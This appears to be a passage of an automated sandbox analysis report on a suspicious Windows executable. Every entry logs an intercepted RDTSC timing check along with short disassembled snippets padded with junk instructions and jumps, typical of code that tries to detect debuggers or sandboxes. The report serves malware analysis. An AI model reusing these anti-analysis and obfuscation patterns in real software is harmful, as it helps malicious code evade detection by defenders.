Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F87EC second address: 3F87FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007FE9047A81CAh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3076D5 second address: 3076E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007FE90543D6BCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F8485 second address: 3F8489 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F8489 second address: 3F84A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE90543D6C9h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F84A6 second address: 3F84BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007FE9047A81CCh 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F84BD second address: 3F84C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FABA8 second address: 3FABAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FABAC second address: 3FABB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FABB6 second address: 3FABBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 408733 second address: 408739 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 408739 second address: 40873D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40873D second address: 408748 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 408748 second address: 408753 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 408753 second address: 408757 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4162D6 second address: 4162F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9047A81D5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4162F2 second address: 416309 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FE90543D6B6h 0x0000000a pop esi 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jc 00007FE90543D6B6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 416309 second address: 41630F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41630F second address: 416314 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42ADAB second address: 42ADB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jng 00007FE9047A81C6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42B03C second address: 42B040 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42B35C second address: 42B362 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42B362 second address: 42B372 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 je 00007FE90543D6B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42B372 second address: 42B376 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42B628 second address: 42B62E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42B62E second address: 42B632 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42D130 second address: 42D14D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE90543D6BEh 0x00000007 jg 00007FE90543D6B6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ebx 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42FABA second address: 42FABF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42FC83 second address: 42FC88 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 430061 second address: 4300B0 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FE9047A81C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d jmp 00007FE9047A81D5h 0x00000012 push dword ptr [ebp+122D38DEh] 0x00000018 push 00000000h 0x0000001a push ecx 0x0000001b call 00007FE9047A81C8h 0x00000020 pop ecx 0x00000021 mov dword ptr [esp+04h], ecx 0x00000025 add dword ptr [esp+04h], 00000014h 0x0000002d inc ecx 0x0000002e push ecx 0x0000002f ret 0x00000030 pop ecx 0x00000031 ret 0x00000032 push 250C40C1h 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4300B0 second address: 4300B6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4318E2 second address: 43190A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9047A81D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d jmp 00007FE9047A81CFh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43345E second address: 433468 instructions: 0x00000000 rdtsc 0x00000002 js 00007FE90543D6B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50311 second address: 4D50317 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50317 second address: 4D50334 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE90543D6C9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D503C7 second address: 4D50418 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE9047A81CFh 0x00000009 and ax, 993Eh 0x0000000e jmp 00007FE9047A81D9h 0x00000013 popfd 0x00000014 movzx ecx, di 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a pop ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FE9047A81D6h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50418 second address: 4D5041D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70604 second address: 4D70608 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70608 second address: 4D7060E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D7060E second address: 4D70613 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70613 second address: 4D70634 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE90543D6C0h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov cx, dx 0x00000013 push edi 0x00000014 pop ecx 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70634 second address: 4D70652 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9047A81D2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70652 second address: 4D7066F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE90543D6C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D7066F second address: 4D706B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edx 0x00000005 call 00007FE9047A81D3h 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push esp 0x0000000f pushad 0x00000010 mov edx, 4DF9E474h 0x00000015 popad 0x00000016 mov dword ptr [esp], ecx 0x00000019 jmp 00007FE9047A81D3h 0x0000001e xchg eax, esi 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 mov dh, 7Ch 0x00000024 mov di, cx 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D706B3 second address: 4D706F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, si 0x00000006 call 00007FE90543D6C0h 0x0000000b pop ecx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jmp 00007FE90543D6C0h 0x00000015 xchg eax, esi 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FE90543D6C7h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D706F8 second address: 4D706FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D706FE second address: 4D70742 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebp-04h] 0x0000000b jmp 00007FE90543D6C7h 0x00000010 nop 0x00000011 jmp 00007FE90543D6C6h 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a push ecx 0x0000001b pop ebx 0x0000001c mov ax, 069Fh 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70742 second address: 4D70798 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 6D681116h 0x00000008 pushfd 0x00000009 jmp 00007FE9047A81D7h 0x0000000e add ah, FFFFFF9Eh 0x00000011 jmp 00007FE9047A81D9h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a nop 0x0000001b pushad 0x0000001c mov bx, si 0x0000001f push eax 0x00000020 mov edx, 3010A10Ah 0x00000025 pop edi 0x00000026 popad 0x00000027 push dword ptr [ebp+08h] 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70798 second address: 4D7079C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D7079C second address: 4D707A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D707A2 second address: 4D707B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE90543D6C1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D708D8 second address: 4D70019 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9047A81D0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0004h 0x0000000c nop 0x0000000d cmp eax, 00000000h 0x00000010 setne al 0x00000013 xor ebx, ebx 0x00000015 test al, 01h 0x00000017 jne 00007FE9047A81C7h 0x00000019 xor eax, eax 0x0000001b sub esp, 08h 0x0000001e mov dword ptr [esp], 00000000h 0x00000025 mov dword ptr [esp+04h], 00000000h 0x0000002d call 00007FE9093A44A1h 0x00000032 mov edi, edi 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007FE9047A81D5h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70019 second address: 4D70073 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, ax 0x00000006 mov edi, eax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FE90543D6C2h 0x00000011 push eax 0x00000012 jmp 00007FE90543D6BBh 0x00000017 xchg eax, ebp 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007FE90543D6C4h 0x0000001f sub ecx, 0E193B38h 0x00000025 jmp 00007FE90543D6BBh 0x0000002a popfd 0x0000002b push eax 0x0000002c push edx 0x0000002d mov ecx, 0B42BF05h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70073 second address: 4D70096 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ebp, esp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE9047A81D6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70096 second address: 4D700A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE90543D6BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D700A5 second address: 4D700F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, ebx 0x00000005 pushfd 0x00000006 jmp 00007FE9047A81CBh 0x0000000b xor si, 630Eh 0x00000010 jmp 00007FE9047A81D9h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push FFFFFFFEh 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FE9047A81D8h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D700F6 second address: 4D700FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D700FC second address: 4D70130 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9047A81CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 48B60D3Dh 0x0000000e pushad 0x0000000f mov dl, C9h 0x00000011 mov ch, 97h 0x00000013 popad 0x00000014 add dword ptr [esp], 2CF4910Bh 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FE9047A81CEh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70130 second address: 4D70136 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70136 second address: 4D70148 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 10620510h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70148 second address: 4D7014D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D7014D second address: 4D70181 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9047A81CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 65C72E60h 0x00000010 jmp 00007FE9047A81CEh 0x00000015 mov eax, dword ptr fs:[00000000h] 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e mov esi, edi 0x00000020 push edx 0x00000021 pop ecx 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70181 second address: 4D70226 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, eax 0x00000005 call 00007FE90543D6BCh 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ebp 0x0000000f jmp 00007FE90543D6BEh 0x00000014 mov dword ptr [esp], eax 0x00000017 pushad 0x00000018 jmp 00007FE90543D6BEh 0x0000001d mov esi, 0BC868F1h 0x00000022 popad 0x00000023 sub esp, 18h 0x00000026 jmp 00007FE90543D6BCh 0x0000002b xchg eax, ebx 0x0000002c pushad 0x0000002d call 00007FE90543D6BEh 0x00000032 pop ecx 0x00000033 pushfd 0x00000034 jmp 00007FE90543D6C7h 0x00000039 and si, 96BEh 0x0000003e jmp 00007FE90543D6C9h 0x00000043 popfd 0x00000044 popad 0x00000045 push eax 0x00000046 pushad 0x00000047 push eax 0x00000048 push edx 0x00000049 jmp 00007FE90543D6BDh 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70226 second address: 4D70265 instructions: 0x00000000 rdtsc 0x00000002 mov di, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushfd 0x00000008 jmp 00007FE9047A81CCh 0x0000000d and ecx, 1FC51EE8h 0x00000013 jmp 00007FE9047A81CBh 0x00000018 popfd 0x00000019 popad 0x0000001a xchg eax, ebx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FE9047A81D5h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70265 second address: 4D70275 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE90543D6BCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70275 second address: 4D702B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 jmp 00007FE9047A81CCh 0x0000000e mov dword ptr [esp], esi 0x00000011 jmp 00007FE9047A81D0h 0x00000016 xchg eax, edi 0x00000017 jmp 00007FE9047A81D0h 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D702B5 second address: 4D702B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D702B9 second address: 4D702BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D702BF second address: 4D7036E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE90543D6BFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a pushad 0x0000000b mov cl, EFh 0x0000000d jmp 00007FE90543D6C1h 0x00000012 popad 0x00000013 mov eax, dword ptr [75AB4538h] 0x00000018 jmp 00007FE90543D6BEh 0x0000001d xor dword ptr [ebp-08h], eax 0x00000020 pushad 0x00000021 mov edi, eax 0x00000023 mov cx, 0199h 0x00000027 popad 0x00000028 xor eax, ebp 0x0000002a pushad 0x0000002b pushfd 0x0000002c jmp 00007FE90543D6BBh 0x00000031 xor esi, 7EAFB90Eh 0x00000037 jmp 00007FE90543D6C9h 0x0000003c popfd 0x0000003d pushfd 0x0000003e jmp 00007FE90543D6C0h 0x00000043 add esi, 4E870F88h 0x00000049 jmp 00007FE90543D6BBh 0x0000004e popfd 0x0000004f popad 0x00000050 nop 0x00000051 push eax 0x00000052 push edx 0x00000053 push eax 0x00000054 push edx 0x00000055 jmp 00007FE90543D6C0h 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D7036E second address: 4D70372 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70372 second address: 4D70378 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70378 second address: 4D7039B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9047A81CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE9047A81CEh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D7039B second address: 4D703A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D703A1 second address: 4D703A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D703A5 second address: 4D703D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FE90543D6C2h 0x00000012 and eax, 724EC6A8h 0x00000018 jmp 00007FE90543D6BBh 0x0000001d popfd 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D703D7 second address: 4D703EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, 30h 0x00000005 movzx esi, dx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b lea eax, dword ptr [ebp-10h] 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov edi, eax 0x00000013 mov bx, si 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D703EE second address: 4D70450 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, cx 0x00000006 mov ah, 73h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr fs:[00000000h], eax 0x00000011 pushad 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007FE90543D6BFh 0x00000019 xor ecx, 1E7291FEh 0x0000001f jmp 00007FE90543D6C9h 0x00000024 popfd 0x00000025 call 00007FE90543D6C0h 0x0000002a pop ecx 0x0000002b popad 0x0000002c movsx edx, si 0x0000002f popad 0x00000030 mov dword ptr [ebp-18h], esp 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 mov ecx, edi 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70450 second address: 4D70456 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70456 second address: 4D7045A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D7045A second address: 4D7047A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr fs:[00000018h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FE9047A81D0h 0x00000015 rdtsc
